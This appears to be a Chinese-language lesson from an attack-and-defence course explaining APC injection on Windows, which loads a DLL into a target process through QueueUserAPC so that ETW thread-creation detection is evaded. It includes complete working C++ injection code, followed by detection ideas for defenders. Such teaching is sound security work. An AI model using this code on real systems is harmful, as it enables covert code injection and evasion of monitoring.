阅读时间: 3-4 分钟
前置知识: 理解进程注入原理、ETW 检测机制、Windows API 基础
学习目标: 掌握 APC 注入技术,理解攻防对抗的下一轮演变
📺 配套视频教程
本文配套视频教程已发布在 B 站,建议结合视频学习效果更佳:
💡 提示: 点击视频右下角可全屏观看,建议配合文章食用!
视频链接: https://www.bilibili.com/video/BV1RjWqzzEK8/
承接上节:检测遇到新挑战
上节课,防御者用 ETW 建立了一道防线:
- 监听线程创建事件
- 比对 CreatorPID 与 TargetPID
- 一旦不相等,立即报警
这确实把 02 节的 Shellcode 注入检测得很彻底。
但作为攻击方,我们需要分析这个检测的弱点在哪里。
攻击方的分析思路
防御者的检测逻辑:监听线程创建事件,比对 CreatorPID 和 TargetPID。
作为攻击方,我们问自己:这个检测依赖什么?
答案是:依赖内核产生 ThreadStart 事件
这个事件什么时候产生?
- 调用
CreateRemoteThread - 或者底层的
NtCreateThreadEx系统调用
事件产生后,ETW 才能拿到 CreatorPID/TargetPID 进行比对。
找到了盲区
那么绕过思路就出来了:
不创建新线程 → 不触发系统调用 → 不产生事件 → 检测失效
这就是 ETW 检测的盲区:只能看到”创建”,看不到”复用”。
攻击者的新思路
既然检测的是”创建新线程”,那我就:
不创建新线程,复用目标进程现有的线程!
目标进程里已经有很多线程在运行
我只需要”借用”一个线程
让它帮我执行代码就行了
这样:
- 进程的线程数量不变
- 没有”外部创建”的痕迹
- ETW 检测器完全沉默
两条不创建新线程的注入路径
不创建新线程,怎么执行代码?有两个方向:
方向1:APC 注入(本节重点)
- 利用 Windows 的 APC(异步过程调用)机制
- 把回调函数插入目标线程的 APC 队列
- 当线程进入”可警报状态”时,自动执行我们的代码
- 温和:不修改线程上下文,不改寄存器
方向2:线程劫持(下节讲解)
- 暂停目标线程
- 直接修改线程的 RIP/EIP 寄存器(执行指针)
- 让线程去执行我们的代码
- 强硬:需要保存和恢复上下文,风险更高
本节先讲 APC 注入,因为它更容易理解,也更安全。
什么是 APC?
APC 全称 Asynchronous Procedure Call(异步过程调用)
这是 Windows 线程调度的一个特性:
- 每个线程都有一个 APC 队列
- 其他代码可以往这个队列里插入函数
- 当线程进入“可警报状态”(Alertable)时,系统会自动执行队列里的函数
什么是可警报状态(Alertable)?
当线程调用这些函数时,就进入可警报状态:
SleepEx(time, TRUE)– 可中断的睡眠WaitForSingleObjectEx(..., TRUE)– 可中断的等待WaitForMultipleObjectsEx(..., TRUE)SignalObjectAndWait(..., TRUE)MsgWaitForMultipleObjectsEx(..., TRUE)
注意最后一个参数必须是 TRUE(表示 Alertable)
实际应用中哪些线程容易进入 Alertable?
- GUI 线程:消息循环中的等待
- I/O 线程:等待异步 I/O 完成
- 工作线程:等待任务队列
核心目标与技术路线
核心目标:不创建新线程,把 DLL 加载代码注入到目标进程
技术路线:使用 APC 队列 + LoadLibrary
验证标准:
- DLL 成功加载到目标进程
- 03 的 ETW 监听器不报警(无新线程创建事件)
- 目标进程稳定运行
动手实现 APC 注入
第一步:打开目标进程
HANDLE hProcess = OpenProcess(
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
FALSE,
dwProcessId
);权限说明:
PROCESS_VM_OPERATION– 内存操作权限PROCESS_VM_WRITE– 写入内存权限PROCESS_VM_READ– 读取内存权限
为什么不需要 PROCESS_CREATE_THREAD?
因为 APC 注入不创建新线程!这正是绕过 ETW 检测的关键。
第二步:在目标进程中分配内存并写入 DLL 路径
SIZE_T pathLen = strlen(dllPath) + 1;
LPVOID pRemotePath = VirtualAllocEx(
hProcess,
NULL,
pathLen,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
WriteProcessMemory(hProcess, pRemotePath, dllPath, pathLen, NULL);为什么是 PAGE_READWRITE 而不是 PAGE_EXECUTE_READWRITE?
- 这里只是存放字符串数据,不是代码
- 不需要可执行权限
- 降低可疑性
第三步:获取 LoadLibraryA 的地址
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
LPVOID pLoadLibraryA = (LPVOID)GetProcAddress(hKernel32, "LoadLibraryA");为什么这个地址能直接用?
这涉及到 Windows 的 DLL 基址重定位 机制:
kernel32.dll在所有进程中加载到相同的地址- 这是 Windows 为了提高性能做的优化(共享物理内存)
- 所以我们进程中的地址 = 目标进程中的地址
第四步:枚举线程并入队 APC(核心步骤)
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
THREADENTRY32 te32 = { sizeof(THREADENTRY32) };
Thread32First(hSnapshot, &te32);
do {
if (te32.th32OwnerProcessID == dwProcessId) {
HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, te32.th32ThreadID);
if (hThread) {
QueueUserAPC((PAPCFUNC)pLoadLibraryA, hThread, (ULONG_PTR)pRemotePath);
CloseHandle(hThread);
}
}
} while (Thread32Next(hSnapshot, &te32));QueueUserAPC 深入解析
DWORD QueueUserAPC(
PAPCFUNC pfnAPC, // 要执行的函数地址
HANDLE hThread, // 目标线程句柄
ULONG_PTR dwData // 传给函数的参数
);执行逻辑:
入队阶段(现在):
- 把
LoadLibraryA函数地址放入线程的 APC 队列 - 参数
pRemotePath也一起保存 - 此时什么都不会执行,只是”登记”
- 把
派发阶段(未来某个时刻):
- 当线程调用
SleepEx(time, TRUE)或WaitForSingleObjectEx(..., TRUE) - 线程进入 Alertable 状态
- 系统检查 APC 队列,发现有回调
- 系统自动调用:
LoadLibraryA(pRemotePath) - DLL 被加载!
- 当线程调用
为什么要入队到所有线程?
因为我们不知道哪个线程会进入 Alertable 状态:
- 可能是主线程(GUI 消息循环)
- 可能是 I/O 线程(等待异步操作)
- 可能是工作线程(等待任务队列)
所以我们”广撒网”,给所有线程都入队,提高成功率。
完整代码
/**
* @file 04-1-攻击篇-APC注入.cpp
* @brief APC 注入示例 - 不创建新线程的注入方式
* @author UD2
* @date 2025-01-13
*
* @details
* 本程序演示如何使用 APC (Asynchronous Procedure Call) 注入 DLL
* 核心思路:
* 1. 不创建新线程,复用目标进程现有线程
* 2. 通过 QueueUserAPC 将 LoadLibraryA 加入线程的 APC 队列
* 3. 当线程进入 Alertable 状态时,系统自动执行 LoadLibraryA
*
* 绕过原理:
* - 不调用 CreateRemoteThread,不触发 NtCreateThreadEx
* - 内核不产生 ThreadStart 事件
* - ETW 监听器无法检测到远程线程创建
*
* 局限性:
* - 必须等待线程进入 Alertable 状态 (SleepEx/WaitForSingleObjectEx(..., TRUE))
* - 执行时机不可控
*
* 仅供防御性安全研究与教学使用,严禁用于恶意目的
*/
#include <windows.h>
#include <tlhelp32.h>
#include <iostream>
/**
* @brief 使用 APC 注入 DLL,不创建新线程
* @param dwProcessId 目标进程 ID
* @param dllPath DLL 文件完整路径
* @return 成功返回 TRUE,失败返回 FALSE
* @details 通过向目标进程的线程 APC 队列插入 LoadLibrary 调用来加载 DLL
*/
BOOL InjectDllWithAPC(DWORD dwProcessId, const char* dllPath)
{
// 第一步:打开目标进程
HANDLE hProcess = OpenProcess(
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
FALSE,
dwProcessId
);
if (!hProcess)
{
std::cout << "打开进程失败,错误码: " << GetLastError() << "n";
return FALSE;
}
std::cout << "成功打开目标进程n";
// 第二步:在目标进程中分配内存并写入 DLL 路径
SIZE_T pathLen = strlen(dllPath) + 1;
LPVOID pRemotePath = VirtualAllocEx(
hProcess,
NULL,
pathLen,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
if (!pRemotePath)
{
std::cout << "分配内存失败n";
CloseHandle(hProcess);
return FALSE;
}
if (!WriteProcessMemory(hProcess, pRemotePath, dllPath, pathLen, NULL))
{
std::cout << "写入 DLL 路径失败n";
VirtualFreeEx(hProcess, pRemotePath, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
std::cout << "DLL 路径写入地址: 0x" << std::hex << pRemotePath << std::dec << "n";
// 第三步:获取 LoadLibraryA 函数地址
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
LPVOID pLoadLibraryA = (LPVOID)GetProcAddress(hKernel32, "LoadLibraryA");
if (!pLoadLibraryA)
{
std::cout << "获取 LoadLibraryA 地址失败n";
VirtualFreeEx(hProcess, pRemotePath, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
std::cout << "LoadLibraryA 地址: 0x" << std::hex << pLoadLibraryA << std::dec << "n";
// 第四步:枚举线程并入队 APC
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
{
std::cout << "创建线程快照失败n";
VirtualFreeEx(hProcess, pRemotePath, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
THREADENTRY32 te32 = { sizeof(THREADENTRY32) };
BOOL bSuccess = FALSE;
int apcCount = 0;
if (!Thread32First(hSnapshot, &te32))
{
CloseHandle(hSnapshot);
VirtualFreeEx(hProcess, pRemotePath, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
std::cout << "n开始枚举线程并入队 APC...n";
// 遍历所有线程
do
{
if (te32.th32OwnerProcessID == dwProcessId)
{
HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, te32.th32ThreadID);
if (hThread)
{
if (QueueUserAPC((PAPCFUNC)pLoadLibraryA, hThread, (ULONG_PTR)pRemotePath))
{
std::cout << " [+] APC 已入队到线程 " << te32.th32ThreadID << "n";
apcCount++;
bSuccess = TRUE;
}
CloseHandle(hThread);
}
}
} while (Thread32Next(hSnapshot, &te32));
CloseHandle(hSnapshot);
// 第五步:输出结果
if (bSuccess)
{
std::cout << "n=== APC 注入成功 ===n";
std::cout << "已向 " << apcCount << " 个线程入队 APCn";
std::cout << "等待目标线程进入 Alertable 状态...n";
std::cout << "(线程调用 SleepEx/WaitForSingleObjectEx 等函数时会触发)n";
std::cout << "n提示:没有创建新线程,ETW 检测器不会报警!n";
}
else
{
std::cout << "APC 入队失败n";
VirtualFreeEx(hProcess, pRemotePath, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
CloseHandle(hProcess);
return TRUE;
}
/**
* @brief 程序入口
* @return 程序退出码
*/
int main()
{
std::cout << "=== APC 注入 - 不创建新线程 ===nn";
std::cout << "警告:本程序仅供防御性安全研究与教学使用n";
std::cout << " 严禁用于恶意目的nn";
DWORD targetPid;
std::cout << "请输入目标进程 PID: ";
std::cin >> targetPid;
const char* dllPath = "C:\Injection.dll";
InjectDllWithAPC(targetPid, dllPath);
system("pause");
return 0;
}验证 APC 注入效果
测试步骤
启动 03 的 ETW 监听器
- 监听目标进程的线程创建事件
运行 APC 注入程序
- 输入目标进程 PID
- 注入 DLL
验证效果

如图所示:
- 左侧:APC 注入程序成功运行,DLL 被加载并弹出提示框
- 右侧:ETW 监听器显示”无任何线程创建事件“
- 绕过成功! 没有创建新线程,检测器无法捕获
APC 注入的优势与局限
优势
- ✅ 不创建新线程,避免触发线程创建事件
- ✅ ETW 检测器无法检测
- ✅ 复用现有线程,不改变进程线程数量
- ✅ 不修改线程上下文,相对安全
局限
- ❌ 依赖 Alertable 状态(必须等待线程进入可警报状态)
- ❌ 执行时机不可控
- ❌ 如果线程从不调用相关函数,APC 永远不会执行
- ❌ 仍需要高权限访问和内存操作
防御者的反思
虽然 APC 注入绕过了线程创建检测,但并非无迹可寻。
可能的检测点:
- 监控
QueueUserAPC调用 - 监控高权限进程访问
- 检测未知模块加载
- 行为关联分析
下节课预告
攻击者虽然绕过了 ETW 的线程创建检测,但 APC 注入真的完美无缺吗?
下节课,我们将回到防御者视角:检测 APC 注入
- 防御者能监控到哪些关键行为?
- 如何区分合法操作与恶意注入?
- 能否构建完整的攻击链检测?
攻防螺旋再次上升!防御者不会坐以待毙!
互动讨论
欢迎在评论区讨论以下问题:
- 如果你是防御者,你会从哪个角度入手检测 APC 注入?
- APC 注入有什么其他可能的缺点或风险?
- 攻防对抗的本质是什么?
⚠️ 本课程内容仅供防御性安全研究与教学使用,请勿用于非法用途。
